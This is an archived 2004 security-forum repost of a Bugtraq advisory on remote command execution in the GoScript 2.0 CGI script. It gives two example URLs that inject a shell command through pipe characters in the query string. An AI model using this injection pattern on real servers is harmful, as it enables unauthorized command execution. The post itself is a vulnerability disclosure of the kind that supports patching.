Help
-
Search
-
Member List
-
Calendar
Full Version:
Goscript Remote Command Execution
GovernmentSecurity.org
>
The Archives
>
Exploit Articles
qcred11
Aug 4 2004, 07:20 PM
QUOTE
Version verified: 2.0
Author: Pete Stein
http://www.slack.net/~pete/perl
GoScript v2.0 allow remote commando execution as we can see below:
http://www.server.com/go.cgi?|id|
http://www.server.com/go.cgi?artarchive=|id|
May be possible another methods of attack!
Thanks :)
[Infektion Group]
Source:
http://seclists.org/lists/bugtraq/2004/Aug/0038.html
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here
.
Invision Power Board © 2001-2005
Invision Power Services, Inc.